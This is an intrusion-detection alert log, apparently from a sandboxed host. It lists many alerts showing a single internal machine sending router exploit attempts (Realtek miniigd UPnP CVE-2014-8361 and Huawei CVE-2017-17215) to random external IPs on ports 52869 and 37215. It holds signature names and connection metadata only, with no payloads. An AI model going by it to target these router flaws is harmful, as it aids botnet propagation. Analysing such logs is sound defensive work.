07/20/24-23:01:54.859884	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57070	52869	192.168.2.23	155.152.164.248
07/20/24-23:01:45.484487	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51798	52869	192.168.2.23	210.209.80.73
07/20/24-23:02:04.022245	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51378	52869	192.168.2.23	212.213.14.74
07/20/24-23:01:43.825431	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58434	52869	192.168.2.23	24.200.205.123
07/20/24-23:01:11.630649	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43630	37215	192.168.2.23	197.208.141.188
07/20/24-23:01:45.294002	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37170	52869	192.168.2.23	190.13.238.183
07/20/24-23:01:48.394890	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60250	52869	192.168.2.23	13.193.24.191
07/20/24-23:01:45.511523	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37662	52869	192.168.2.23	165.221.172.161
07/20/24-23:01:51.183470	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47738	52869	192.168.2.23	107.137.22.219
07/20/24-23:02:42.973189	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41250	52869	192.168.2.23	90.6.68.219
07/20/24-23:02:01.256492	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51580	52869	192.168.2.23	57.77.183.106
07/20/24-23:01:41.919931	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53412	52869	192.168.2.23	193.229.91.171
07/20/24-23:01:59.676169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49278	52869	192.168.2.23	165.63.9.134
07/20/24-23:01:45.298540	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58416	52869	192.168.2.23	104.39.87.115
07/20/24-23:01:46.725077	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33474	52869	192.168.2.23	37.189.26.199
07/20/24-23:03:46.099099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47524	52869	192.168.2.23	159.83.233.195
07/20/24-23:01:02.066908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37338	37215	192.168.2.23	41.126.153.94
07/20/24-23:01:04.034952	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51042	37215	192.168.2.23	197.80.209.101
07/20/24-23:01:21.915268	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44866	37215	192.168.2.23	157.246.199.209
07/20/24-23:01:08.572790	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56760	52869	192.168.2.23	24.167.37.167
07/20/24-23:00:59.204975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40842	37215	192.168.2.23	41.241.135.76
07/20/24-23:01:07.075937	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55146	37215	192.168.2.23	41.83.154.226
07/20/24-23:01:45.472422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49628	52869	192.168.2.23	77.216.216.160
07/20/24-23:00:57.221132	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37174	37215	192.168.2.23	157.233.134.27
07/20/24-23:01:11.630767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46646	37215	192.168.2.23	81.64.188.238
07/20/24-23:01:51.916673	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35716	52869	192.168.2.23	124.74.75.114
07/20/24-23:01:41.378872	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38510	52869	192.168.2.23	160.67.56.20
07/20/24-23:01:08.677189	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59056	52869	192.168.2.23	5.53.123.92
07/20/24-23:01:42.608320	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53230	52869	192.168.2.23	153.109.210.254
07/20/24-23:01:02.054387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53574	37215	192.168.2.23	221.165.24.130
07/20/24-23:02:17.110283	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43866	52869	192.168.2.23	61.237.192.205
07/20/24-23:01:20.110861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57564	37215	192.168.2.23	41.198.222.41
07/20/24-23:01:42.651912	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47200	52869	192.168.2.23	209.170.78.160
07/20/24-23:01:25.001980	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40936	52869	192.168.2.23	199.241.141.173
07/20/24-23:01:57.297792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36240	52869	192.168.2.23	36.5.79.111
07/20/24-23:01:01.510385	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44282	52869	192.168.2.23	36.193.87.124
07/20/24-23:01:44.881852	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47792	52869	192.168.2.23	212.188.148.79
07/20/24-23:01:45.622888	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57520	52869	192.168.2.23	74.81.74.58
07/20/24-23:01:42.790558	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33926	52869	192.168.2.23	94.18.60.159
07/20/24-23:01:32.032492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53624	37215	192.168.2.23	157.196.127.144
07/20/24-23:01:42.580745	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36440	52869	192.168.2.23	106.27.196.147
07/20/24-23:01:11.820979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50554	37215	192.168.2.23	41.138.109.222
07/20/24-23:01:43.111685	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39226	52869	192.168.2.23	8.242.14.128
07/20/24-23:01:43.160211	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38978	52869	192.168.2.23	200.2.226.98
07/20/24-23:01:00.636533	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52098	37215	192.168.2.23	157.225.33.253
07/20/24-23:01:14.035496	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34068	37215	192.168.2.23	190.5.182.99
07/20/24-23:01:08.598416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38364	52869	192.168.2.23	2.10.234.63
07/20/24-23:01:45.096837	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39946	52869	192.168.2.23	145.21.134.81
07/20/24-23:01:41.897768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45198	52869	192.168.2.23	205.156.124.10
07/20/24-23:01:08.668802	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37334	52869	192.168.2.23	205.45.42.138
07/20/24-23:01:24.915904	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36404	37215	192.168.2.23	197.160.117.230
07/20/24-23:01:09.002255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38116	52869	192.168.2.23	9.91.73.111
07/20/24-23:01:44.469869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53226	52869	192.168.2.23	156.42.244.253
07/20/24-23:01:11.641686	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33626	37215	192.168.2.23	41.162.241.10
07/20/24-23:01:20.202325	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49686	37215	192.168.2.23	119.225.217.146
07/20/24-23:02:22.907274	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36456	52869	192.168.2.23	211.143.251.133
07/20/24-23:01:02.139489	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52264	52869	192.168.2.23	37.205.238.167
07/20/24-23:01:43.243266	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59672	52869	192.168.2.23	142.215.251.21
07/20/24-23:01:06.994337	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45722	37215	192.168.2.23	41.219.238.149
07/20/24-23:01:25.035135	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57600	52869	192.168.2.23	184.170.117.213
07/20/24-23:01:50.212921	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43722	52869	192.168.2.23	18.71.115.72
07/20/24-23:01:43.227281	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47622	52869	192.168.2.23	27.86.156.82
07/20/24-23:02:14.728323	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55190	52869	192.168.2.23	132.156.134.177
07/20/24-23:01:24.603339	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56536	52869	192.168.2.23	76.83.139.165
07/20/24-23:01:57.269160	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53070	52869	192.168.2.23	138.120.228.47
07/20/24-23:01:43.951862	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55238	52869	192.168.2.23	210.201.123.76
07/20/24-23:01:46.158533	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54662	52869	192.168.2.23	81.48.180.48
07/20/24-23:01:14.090830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55840	37215	192.168.2.23	41.240.65.224
07/20/24-23:01:42.985320	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34902	52869	192.168.2.23	85.91.68.35
07/20/24-23:01:00.648489	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36536	37215	192.168.2.23	157.118.19.128
07/20/24-23:01:32.076593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53012	37215	192.168.2.23	41.72.207.45
07/20/24-23:01:42.688831	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58266	52869	192.168.2.23	53.13.47.10
07/20/24-23:01:53.432917	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36590	52869	192.168.2.23	141.86.15.181
07/20/24-23:01:53.459445	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56400	52869	192.168.2.23	46.179.46.173
07/20/24-23:01:25.468217	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54598	52869	192.168.2.23	35.92.216.124
07/20/24-23:01:20.131339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60866	37215	192.168.2.23	41.20.237.244
07/20/24-23:01:04.985241	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44076	52869	192.168.2.23	27.181.35.71
07/20/24-23:01:00.651026	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51534	37215	192.168.2.23	157.187.188.100
07/20/24-23:01:07.075937	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45130	37215	192.168.2.23	157.1.231.94
07/20/24-23:01:51.925038	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36862	52869	192.168.2.23	191.56.81.141
07/20/24-23:01:04.094795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49922	37215	192.168.2.23	41.65.35.124
07/20/24-23:01:27.651187	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49850	37215	192.168.2.23	197.49.83.49
07/20/24-23:01:41.218109	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35668	52869	192.168.2.23	176.90.235.184
07/20/24-23:01:42.276859	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52278	52869	192.168.2.23	193.38.103.224
07/20/24-23:01:42.643745	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53628	52869	192.168.2.23	101.9.169.24
07/20/24-23:01:42.460493	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41624	52869	192.168.2.23	75.212.169.191
07/20/24-23:01:44.024775	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45402	52869	192.168.2.23	45.226.155.34
07/20/24-23:01:54.922661	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41182	52869	192.168.2.23	62.211.74.184
07/20/24-23:02:00.198960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51080	52869	192.168.2.23	212.62.106.68
07/20/24-23:01:08.638879	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36752	52869	192.168.2.23	80.176.127.107
07/20/24-23:00:59.191389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43956	37215	192.168.2.23	197.16.71.7
07/20/24-23:02:05.036436	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49572	52869	192.168.2.23	57.22.35.81
07/20/24-23:01:56.910590	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46702	52869	192.168.2.23	128.36.26.52
07/20/24-23:02:15.172220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50336	52869	192.168.2.23	133.103.41.145
07/20/24-23:01:42.717611	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56282	52869	192.168.2.23	201.170.107.7
07/20/24-23:01:07.114267	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48818	37215	192.168.2.23	157.195.69.11
07/20/24-23:01:31.313163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48230	52869	192.168.2.23	109.17.111.246
07/20/24-23:02:04.942554	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38780	52869	192.168.2.23	70.135.187.127
07/20/24-23:01:42.612377	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38532	52869	192.168.2.23	85.109.146.148
07/20/24-23:01:42.688831	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58266	52869	192.168.2.23	53.13.47.10
07/20/24-23:02:04.577562	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52992	52869	192.168.2.23	178.246.190.193
07/20/24-23:01:00.634497	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41366	37215	192.168.2.23	197.37.15.231
07/20/24-23:01:20.593640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58574	52869	192.168.2.23	140.34.53.233
07/20/24-23:01:51.956762	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42524	52869	192.168.2.23	164.23.204.131
07/20/24-23:01:26.004683	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38520	52869	192.168.2.23	14.200.138.62
07/20/24-23:01:44.550538	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49074	52869	192.168.2.23	167.144.253.27
07/20/24-23:01:07.018425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35004	37215	192.168.2.23	41.171.209.210
07/20/24-23:01:10.863362	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36226	52869	192.168.2.23	106.229.130.40
07/20/24-23:01:57.549758	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50824	52869	192.168.2.23	49.127.162.127
07/20/24-23:02:22.606515	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48348	52869	192.168.2.23	176.129.124.225
07/20/24-23:01:02.773260	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38564	52869	192.168.2.23	205.29.56.156
07/20/24-23:01:26.226478	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51024	52869	192.168.2.23	103.227.74.238
07/20/24-23:01:45.182071	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35410	52869	192.168.2.23	57.119.169.7
07/20/24-23:01:27.664887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48150	37215	192.168.2.23	197.146.248.19
07/20/24-23:01:52.720788	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50706	52869	192.168.2.23	216.216.135.51
07/20/24-23:01:59.855159	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34610	52869	192.168.2.23	188.131.252.163
07/20/24-23:01:31.321189	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58236	52869	192.168.2.23	103.96.50.123
07/20/24-23:01:41.260372	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49634	52869	192.168.2.23	111.66.162.186
07/20/24-23:01:42.704266	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49340	52869	192.168.2.23	113.71.166.108
07/20/24-23:01:46.604394	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56780	52869	192.168.2.23	156.160.38.108
07/20/24-23:01:08.668802	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52958	52869	192.168.2.23	184.77.18.239
07/20/24-23:01:44.389834	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56604	52869	192.168.2.23	111.229.109.170
07/20/24-23:01:24.475794	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48188	52869	192.168.2.23	162.229.91.161
07/20/24-23:00:59.157444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47996	37215	192.168.2.23	157.75.190.222
07/20/24-23:01:45.923449	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38996	52869	192.168.2.23	169.122.121.121
07/20/24-23:02:01.320867	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60014	52869	192.168.2.23	144.39.142.95
07/20/24-23:02:09.263272	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39888	52869	192.168.2.23	149.74.6.111
07/20/24-23:01:08.572197	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55296	52869	192.168.2.23	173.57.134.38
07/20/24-23:01:41.496780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53180	52869	192.168.2.23	77.77.166.196
07/20/24-23:01:02.721182	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60912	52869	192.168.2.23	114.190.123.93
07/20/24-23:01:45.037292	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56686	52869	192.168.2.23	186.231.211.62
07/20/24-23:01:47.304504	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43656	52869	192.168.2.23	69.202.155.168
07/20/24-23:01:04.039128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41724	37215	192.168.2.23	41.167.36.239
07/20/24-23:01:20.157619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50048	37215	192.168.2.23	19.104.128.245
07/20/24-23:00:57.220954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34064	37215	192.168.2.23	221.200.167.164
07/20/24-23:01:50.759828	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35976	52869	192.168.2.23	130.253.20.234
07/20/24-23:01:44.446628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48604	52869	192.168.2.23	130.167.196.86
07/20/24-23:01:26.110241	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35770	52869	192.168.2.23	212.202.137.63
07/20/24-23:01:34.045144	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48300	37215	192.168.2.23	197.102.42.235
07/20/24-23:02:10.141900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38882	52869	192.168.2.23	201.77.215.250
07/20/24-23:00:59.191389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57408	37215	192.168.2.23	197.6.34.101
07/20/24-23:01:31.312895	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42770	52869	192.168.2.23	178.214.207.137
07/20/24-23:01:49.525770	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36520	52869	192.168.2.23	179.230.186.151
07/20/24-23:01:44.338159	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42886	52869	192.168.2.23	24.0.173.57
07/20/24-23:01:04.100971	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49124	37215	192.168.2.23	197.22.178.158
07/20/24-23:00:59.158279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37060	37215	192.168.2.23	157.30.105.107
07/20/24-23:01:46.293475	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45978	52869	192.168.2.23	223.217.31.58
07/20/24-23:01:06.996055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41248	37215	192.168.2.23	41.231.52.21
07/20/24-23:01:48.547161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36362	52869	192.168.2.23	90.150.161.105
07/20/24-23:01:08.565610	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50034	52869	192.168.2.23	60.63.234.192
07/20/24-23:01:42.093693	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38192	52869	192.168.2.23	163.215.30.136
07/20/24-23:01:14.203011	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52244	37215	192.168.2.23	157.84.128.158
07/20/24-23:01:24.885849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37496	37215	192.168.2.23	157.164.236.148
07/20/24-23:01:49.412594	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47728	52869	192.168.2.23	117.131.224.39
07/20/24-23:02:05.374045	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54602	52869	192.168.2.23	209.233.186.203
07/20/24-23:01:13.192248	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60782	52869	192.168.2.23	75.68.195.20
07/20/24-23:01:51.197215	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52494	52869	192.168.2.23	120.23.234.48
07/20/24-23:01:14.049603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45854	37215	192.168.2.23	157.40.222.217
07/20/24-23:01:08.578116	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33938	52869	192.168.2.23	188.112.254.56
07/20/24-23:01:44.921789	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53216	52869	192.168.2.23	34.198.8.37
07/20/24-23:01:01.516827	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57370	52869	192.168.2.23	70.59.242.166
07/20/24-23:01:02.048214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54670	37215	192.168.2.23	41.178.90.216
07/20/24-23:01:56.809584	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48800	52869	192.168.2.23	1.7.30.66
07/20/24-23:01:00.634089	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38714	37215	192.168.2.23	41.99.7.194
07/20/24-23:01:25.522869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39106	52869	192.168.2.23	105.131.75.237
07/20/24-23:01:11.828422	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38350	37215	192.168.2.23	197.139.101.249
07/20/24-23:01:42.357440	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53138	52869	192.168.2.23	207.162.61.245
07/20/24-23:01:43.020186	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58968	52869	192.168.2.23	23.210.80.134
